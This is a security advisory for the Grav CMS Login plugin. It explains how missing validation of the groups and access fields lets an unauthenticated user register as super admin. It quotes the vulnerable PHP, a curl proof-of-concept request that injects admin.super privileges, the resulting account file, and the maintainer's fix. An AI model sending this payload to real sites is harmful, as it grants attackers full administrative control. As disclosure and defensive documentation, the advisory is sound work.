Grav Vulnerable to Privilege Escalation via Missing Server-Side Validation of groups/access
The advisory, in context
Bug Report: Registration Privilege Escalation via Missing Server-Side Validation of groups/access
Summary
The Login::register() method in the Login plugin accepts attacker-controlled groups and access fields from the registration POST data without server-side validation. When registration is enabled and groups or access are included in the configured allowed fields list, an unauthenticated user can self-register with admin.super privileges by injecting these fields into the registration request.
This is a missing server-side validation issue — the only defense is a config-level fields allowlist, which is an admin-facing setting, not a hardcoded security boundary.
Affected Component
- File:
user/plugins/login/classes/Login.php, lines 246-306 - Method:
Login::register() - Validation:
Login::validateField(), lines 363-432 - Plugin: Login Plugin 3.8.0
- Grav: 1.8.0-beta.29
Root Cause
In register() (lines 254-267), the groups and access fields are only set to config defaults if they are not already present in the input data:
// Line 254-260
if (!isset($data['groups'])) {
$groups = (array) $this->config->get('plugins.login.user_registration.groups', []);
if (count($groups) > 0) {
$data['groups'] = $groups;
}
}
// Line 262-267
if (!isset($data['access'])) {
$access = (array) $this->config->get('plugins.login.user_registration.access.site', []);
if (count($access) > 0) {
$data['access']['site'] = $access;
}
}
If an attacker includes groups or access in the POST body, the !isset() check passes and the config defaults are skipped. The attacker's values flow through unchanged.
Later (lines 298-303), these values are assigned directly to the user object:
if (isset($data['groups'])) {
$user->groups = $data['groups']; // attacker-controlled
}
if (isset($data['access'])) {
$user->access = $data['access']; // attacker-controlled
}
$user->save();
The validateField() method (lines 363-432) has a switch statement that only validates: username, password, password2, email, permissions, state, and language. The groups and access fields pass through the default case with no validation at all.
Precondition
Registration must be enabled with groups and/or access in the configured allowed fields:
# user/config/plugins/login.yaml
user_registration:
enabled: true
fields:
- username
- password
- email
- fullname
- groups # ← enables the attack
- access # ← enables the attack
This is a configuration the admin UI allows without any warning. An admin adding groups to let users pick a non-privileged group (e.g., editors) unknowingly exposes the escalation path, since there is no validation constraining which groups can be selected.
Proof of Concept
Malicious registration request (unauthenticated):
curl -X POST "${TARGET}/user_register" \
--data-urlencode "data[username]=attacker" \
--data-urlencode "data[password1]=Str0ngP@ss!" \
--data-urlencode "data[password2]=Str0ngP@ss!" \
--data-urlencode "data[email]=attacker@evil.com" \
--data-urlencode "data[fullname]=Attacker" \
--data-urlencode "data[groups][]=admins" \
--data-urlencode "data[access][admin][login]=true" \
--data-urlencode "data[access][admin][super]=true" \
--data-urlencode "data[access][site][login]=true" \
--data-urlencode "form-nonce=${FORM_NONCE}" \
--data-urlencode "__form-name__=user_register" \
--data-urlencode "__unique_form_id__=${FORM_UID}"
Resulting account file (user/accounts/attacker.yaml):
email: attacker@evil.com
fullname: Attacker
groups:
- admins
access:
admin:
login: true
super: true
site:
login: true
hashed_password: ...
state: enabled
The attacker can then log into /admin with full super-admin privileges.
Impact
- Severity: Critical (when precondition is met)
- Vector: Unauthenticated → Super Admin
- Escalation: Full admin panel access, which chains to RCE via known admin vectors https://github.com/getgrav/grav/security/advisories/GHSA-4fg4-8cr8-326m or Plugin Upload
- Precondition: Registration enabled with
groupsoraccessin allowed fields — a configuration the admin UI permits without warning
Environment
- Grav Core: 1.8.0-beta.29
- Login Plugin: 3.8.0
- PHP: 8.4.11
Credits
Jonathan Dersch at Hacking Cult GmbH https://hackingcult.de/
Maintainer note — fix applied (2026-04-24)
Fixed in grav-plugin-login 3.8.2 (commit 3d419a0). On the Grav 2.0 line, the login plugin is pinned at >=3.8.2 by admin2's blueprints.yaml, so sites running admin2 with Grav 2.0.0-beta.2 pick the fix up automatically.
What changed: the registration form handler now explicitly skips the groups and access privilege fields in the per-field input loop — even if an administrator added them to user_registration.fields. A warning is logged on any attempted injection. Server-side default_values, invitations, and the user_registration.{groups,access} config remain the sole sources of those values.
Files:
login.php— form handler privilege-field strip.
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
Earlier releases before 2.0.0-beta.2
Fixed in 2.0.0-beta.2
321 explicitly affected versions
0.8.0, 0.9.0, 0.9.1, 0.9.10, 0.9.11, 0.9.12, 0.9.13, 0.9.14, 0.9.15, 0.9.16, 0.9.17, 0.9.18, 0.9.19, 0.9.2, 0.9.20, 0.9.21, 0.9.22, 0.9.23, 0.9.24, 0.9.25, 0.9.26, 0.9.27, 0.9.28, 0.9.29, 0.9.3, 0.9.30, 0.9.31, 0.9.32, 0.9.33, 0.9.34, 0.9.35, 0.9.36, 0.9.37, 0.9.38, 0.9.39, 0.9.4, 0.9.40, 0.9.41, 0.9.42, 0.9.43, 0.9.44, 0.9.45, 0.9.5, 0.9.6, 0.9.7, 0.9.8, 0.9.9, 1.0.0, 1.0.0-rc.1, 1.0.0-rc.2, 1.0.0-rc.3, 1.0.0-rc.4, 1.0.0-rc.5, 1.0.0-rc.6, 1.0.1, 1.0.10, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6, 1.0.7, 1.0.8, 1.0.9, 1.1.0, 1.1.0-beta.1, 1.1.0-beta.2, 1.1.0-beta.3, 1.1.0-beta.4, 1.1.0-beta.5, 1.1.0-rc.1, 1.1.0-rc.2, 1.1.0-rc.3, 1.1.1, 1.1.10, 1.1.11, 1.1.12, 1.1.13, 1.1.14, 1.1.15, 1.1.16, 1.1.17, 1.1.2, 1.1.3, 1.1.4, 1.1.5, 1.1.6, 1.1.7, 1.1.8, 1.1.9, 1.1.9-rc.1, 1.1.9-rc.2, 1.1.9-rc.3, 1.2.0, 1.2.0-rc.1, 1.2.0-rc.2, 1.2.0-rc.3, 1.2.1, 1.2.2, 1.2.3, 1.2.4, 1.3.0, 1.3.0-rc.1, 1.3.0-rc.2, 1.3.0-rc.3, 1.3.0-rc.4, 1.3.0-rc.5, 1.3.1, 1.3.10, 1.3.2, 1.3.3, 1.3.4, 1.3.5, 1.3.6, 1.3.7, 1.3.8, 1.3.9, 1.4.0, 1.4.0-beta.1, 1.4.0-beta.2, 1.4.0-beta.3, 1.4.0-rc.1, 1.4.0-rc.2, 1.4.1, 1.4.2, 1.4.3, 1.4.4, 1.4.5, 1.4.6, 1.4.7, 1.4.8, 1.5.0, 1.5.0-beta.1, 1.5.0-beta.2, 1.5.0-rc.1, 1.5.1, 1.5.10, 1.5.2, 1.5.3, 1.5.4, 1.5.5, 1.5.6, 1.5.7, 1.5.8, 1.5.9, 1.6.0, 1.6.0-beta.1, 1.6.0-beta.2, 1.6.0-beta.3, 1.6.0-beta.4, 1.6.0-beta.5, 1.6.0-beta.6, 1.6.0-beta.7, 1.6.0-beta.8, 1.6.0-rc.1, 1.6.0-rc.2, 1.6.0-rc.3, 1.6.0-rc.4, 1.6.1, 1.6.10, 1.6.11, 1.6.12, 1.6.13, 1.6.14, 1.6.15, 1.6.16, 1.6.17, 1.6.18, 1.6.19, 1.6.2, 1.6.20, 1.6.21, 1.6.22, 1.6.23, 1.6.24, 1.6.25, 1.6.26, 1.6.27, 1.6.28, 1.6.29, 1.6.3, 1.6.30, 1.6.31, 1.6.4, 1.6.5, 1.6.6, 1.6.7, 1.6.8, 1.6.9, 1.7.0, 1.7.0-beta.1, 1.7.0-beta.10, 1.7.0-beta.2, 1.7.0-beta.3, 1.7.0-beta.4, 1.7.0-beta.5, 1.7.0-beta.6, 1.7.0-beta.7, 1.7.0-beta.8, 1.7.0-beta.9, 1.7.0-rc.1, 1.7.0-rc.10, 1.7.0-rc.11, 1.7.0-rc.12, 1.7.0-rc.13, 1.7.0-rc.14, 1.7.0-rc.15, 1.7.0-rc.16, 1.7.0-rc.17, 1.7.0-rc.18, 1.7.0-rc.19, 1.7.0-rc.2, 1.7.0-rc.20, 1.7.0-rc.3, 1.7.0-rc.4, 1.7.0-rc.5, 1.7.0-rc.6, 1.7.0-rc.7, 1.7.0-rc.8, 1.7.0-rc.9, 1.7.1, 1.7.10, 1.7.12, 1.7.13, 1.7.14, 1.7.15, 1.7.16, 1.7.17, 1.7.18, 1.7.19, 1.7.20, 1.7.21, 1.7.22, 1.7.23, 1.7.24, 1.7.25, 1.7.26, 1.7.26.1, 1.7.27, 1.7.27.1, 1.7.28, 1.7.29, 1.7.29.1, 1.7.3, 1.7.30, 1.7.31, 1.7.32, 1.7.33, 1.7.34, 1.7.35, 1.7.36, 1.7.37, 1.7.37.1, 1.7.38, 1.7.39, 1.7.39.1, 1.7.39.2, 1.7.39.3, 1.7.39.4, 1.7.4, 1.7.40, 1.7.41, 1.7.41.1, 1.7.41.2, 1.7.42, 1.7.42.1, 1.7.42.2, 1.7.42.3, 1.7.43, 1.7.44, 1.7.45, 1.7.46, 1.7.47, 1.7.48, 1.7.49, 1.7.49.1, 1.7.49.2, 1.7.49.3, 1.7.49.4, 1.7.49.5, 1.7.5, 1.7.51, 1.7.52, 1.7.53, 1.7.53.1, 1.7.53.2, 1.7.53.3, 1.7.6, 1.7.7, 1.7.8, 1.7.9, 1.8.0-beta.1, 1.8.0-beta.10, 1.8.0-beta.11, 1.8.0-beta.12, 1.8.0-beta.13, 1.8.0-beta.14, 1.8.0-beta.15, 1.8.0-beta.16, 1.8.0-beta.17, 1.8.0-beta.18, 1.8.0-beta.19, 1.8.0-beta.2, 1.8.0-beta.20, 1.8.0-beta.21, 1.8.0-beta.22, 1.8.0-beta.23, 1.8.0-beta.24, 1.8.0-beta.25, 1.8.0-beta.26, 1.8.0-beta.27, 1.8.0-beta.28, 1.8.0-beta.29, 1.8.0-beta.3, 1.8.0-beta.4, 1.8.0-beta.5, 1.8.0-beta.6, 1.8.0-beta.7, 1.8.0-beta.8, 1.8.0-beta.9, 2.0.0-beta.1
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.0-beta.2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.8.0",
"0.9.0",
"0.9.1",
"0.9.10",
"0.9.11",
"0.9.12",
"0.9.13",
"0.9.14",
"0.9.15",
"0.9.16",
"0.9.17",
"0.9.18",
"0.9.19",
"0.9.2",
"0.9.20",
"0.9.21",
"0.9.22",
"0.9.23",
"0.9.24",
"0.9.25",
"0.9.26",
"0.9.27",
"0.9.28",
"0.9.29",
"0.9.3",
"0.9.30",
"0.9.31",
"0.9.32",
"0.9.33",
"0.9.34",
"0.9.35",
"0.9.36",
"0.9.37",
"0.9.38",
"0.9.39",
"0.9.4",
"0.9.40",
"0.9.41",
"0.9.42",
"0.9.43",
"0.9.44",
"0.9.45",
"0.9.5",
"0.9.6",
"0.9.7",
"0.9.8",
"0.9.9",
"1.0.0",
"1.0.0-rc.1",
"1.0.0-rc.2",
"1.0.0-rc.3",
"1.0.0-rc.4",
"1.0.0-rc.5",
"1.0.0-rc.6",
"1.0.1",
"1.0.10",
"1.0.2",
"1.0.3",
"1.0.4",
"1.0.5",
"1.0.6",
"1.0.7",
"1.0.8",
"1.0.9",
"1.1.0",
"1.1.0-beta.1",
"1.1.0-beta.2",
"1.1.0-beta.3",
"1.1.0-beta.4",
"1.1.0-beta.5",
"1.1.0-rc.1",
"1.1.0-rc.2",
"1.1.0-rc.3",
"1.1.1",
"1.1.10",
"1.1.11",
"1.1.12",
"1.1.13",
"1.1.14",
"1.1.15",
"1.1.16",
"1.1.17",
"1.1.2",
"1.1.3",
"1.1.4",
"1.1.5",
"1.1.6",
"1.1.7",
"1.1.8",
"1.1.9",
"1.1.9-rc.1",
"1.1.9-rc.2",
"1.1.9-rc.3",
"1.2.0",
"1.2.0-rc.1",
"1.2.0-rc.2",
"1.2.0-rc.3",
"1.2.1",
"1.2.2",
"1.2.3",
"1.2.4",
"1.3.0",
"1.3.0-rc.1",
"1.3.0-rc.2",
"1.3.0-rc.3",
"1.3.0-rc.4",
"1.3.0-rc.5",
"1.3.1",
"1.3.10",
"1.3.2",
"1.3.3",
"1.3.4",
"1.3.5",
"1.3.6",
"1.3.7",
"1.3.8",
"1.3.9",
"1.4.0",
"1.4.0-beta.1",
"1.4.0-beta.2",
"1.4.0-beta.3",
"1.4.0-rc.1",
"1.4.0-rc.2",
"1.4.1",
"1.4.2",
"1.4.3",
"1.4.4",
"1.4.5",
"1.4.6",
"1.4.7",
"1.4.8",
"1.5.0",
"1.5.0-beta.1",
"1.5.0-beta.2",
"1.5.0-rc.1",
"1.5.1",
"1.5.10",
"1.5.2",
"1.5.3",
"1.5.4",
"1.5.5",
"1.5.6",
"1.5.7",
"1.5.8",
"1.5.9",
"1.6.0",
"1.6.0-beta.1",
"1.6.0-beta.2",
"1.6.0-beta.3",
"1.6.0-beta.4",
"1.6.0-beta.5",
"1.6.0-beta.6",
"1.6.0-beta.7",
"1.6.0-beta.8",
"1.6.0-rc.1",
"1.6.0-rc.2",
"1.6.0-rc.3",
"1.6.0-rc.4",
"1.6.1",
"1.6.10",
"1.6.11",
"1.6.12",
"1.6.13",
"1.6.14",
"1.6.15",
"1.6.16",
"1.6.17",
"1.6.18",
"1.6.19",
"1.6.2",
"1.6.20",
"1.6.21",
"1.6.22",
"1.6.23",
"1.6.24",
"1.6.25",
"1.6.26",
"1.6.27",
"1.6.28",
"1.6.29",
"1.6.3",
"1.6.30",
"1.6.31",
"1.6.4",
"1.6.5",
"1.6.6",
"1.6.7",
"1.6.8",
"1.6.9",
"1.7.0",
"1.7.0-beta.1",
"1.7.0-beta.10",
"1.7.0-beta.2",
"1.7.0-beta.3",
"1.7.0-beta.4",
"1.7.0-beta.5",
"1.7.0-beta.6",
"1.7.0-beta.7",
"1.7.0-beta.8",
"1.7.0-beta.9",
"1.7.0-rc.1",
"1.7.0-rc.10",
"1.7.0-rc.11",
"1.7.0-rc.12",
"1.7.0-rc.13",
"1.7.0-rc.14",
"1.7.0-rc.15",
"1.7.0-rc.16",
"1.7.0-rc.17",
"1.7.0-rc.18",
"1.7.0-rc.19",
"1.7.0-rc.2",
"1.7.0-rc.20",
"1.7.0-rc.3",
"1.7.0-rc.4",
"1.7.0-rc.5",
"1.7.0-rc.6",
"1.7.0-rc.7",
"1.7.0-rc.8",
"1.7.0-rc.9",
"1.7.1",
"1.7.10",
"1.7.12",
"1.7.13",
"1.7.14",
"1.7.15",
"1.7.16",
"1.7.17",
"1.7.18",
"1.7.19",
"1.7.20",
"1.7.21",
"1.7.22",
"1.7.23",
"1.7.24",
"1.7.25",
"1.7.26",
"1.7.26.1",
"1.7.27",
"1.7.27.1",
"1.7.28",
"1.7.29",
"1.7.29.1",
"1.7.3",
"1.7.30",
"1.7.31",
"1.7.32",
"1.7.33",
"1.7.34",
"1.7.35",
"1.7.36",
"1.7.37",
"1.7.37.1",
"1.7.38",
"1.7.39",
"1.7.39.1",
"1.7.39.2",
"1.7.39.3",
"1.7.39.4",
"1.7.4",
"1.7.40",
"1.7.41",
"1.7.41.1",
"1.7.41.2",
"1.7.42",
"1.7.42.1",
"1.7.42.2",
"1.7.42.3",
"1.7.43",
"1.7.44",
"1.7.45",
"1.7.46",
"1.7.47",
"1.7.48",
"1.7.49",
"1.7.49.1",
"1.7.49.2",
"1.7.49.3",
"1.7.49.4",
"1.7.49.5",
"1.7.5",
"1.7.51",
"1.7.52",
"1.7.53",
"1.7.53.1",
"1.7.53.2",
"1.7.53.3",
"1.7.6",
"1.7.7",
"1.7.8",
"1.7.9",
"1.8.0-beta.1",
"1.8.0-beta.10",
"1.8.0-beta.11",
"1.8.0-beta.12",
"1.8.0-beta.13",
"1.8.0-beta.14",
"1.8.0-beta.15",
"1.8.0-beta.16",
"1.8.0-beta.17",
"1.8.0-beta.18",
"1.8.0-beta.19",
"1.8.0-beta.2",
"1.8.0-beta.20",
"1.8.0-beta.21",
"1.8.0-beta.22",
"1.8.0-beta.23",
"1.8.0-beta.24",
"1.8.0-beta.25",
"1.8.0-beta.26",
"1.8.0-beta.27",
"1.8.0-beta.28",
"1.8.0-beta.29",
"1.8.0-beta.3",
"1.8.0-beta.4",
"1.8.0-beta.5",
"1.8.0-beta.6",
"1.8.0-beta.7",
"1.8.0-beta.8",
"1.8.0-beta.9",
"2.0.0-beta.1"
]
}References
- https://github.com/getgrav/grav/security/advisories/GHSA-pxm6-mhxr-q4mj
- https://github.com/getgrav/grav/security/advisories/GHSA-w48r-jppp-rcfw
- https://nvd.nist.gov/vuln/detail/CVE-2026-42613
- https://github.com/getgrav/grav-plugin-login/commit/3d419a0dabd70aed1fd49afcd5919004a4141da1
- https://github.com/getgrav/grav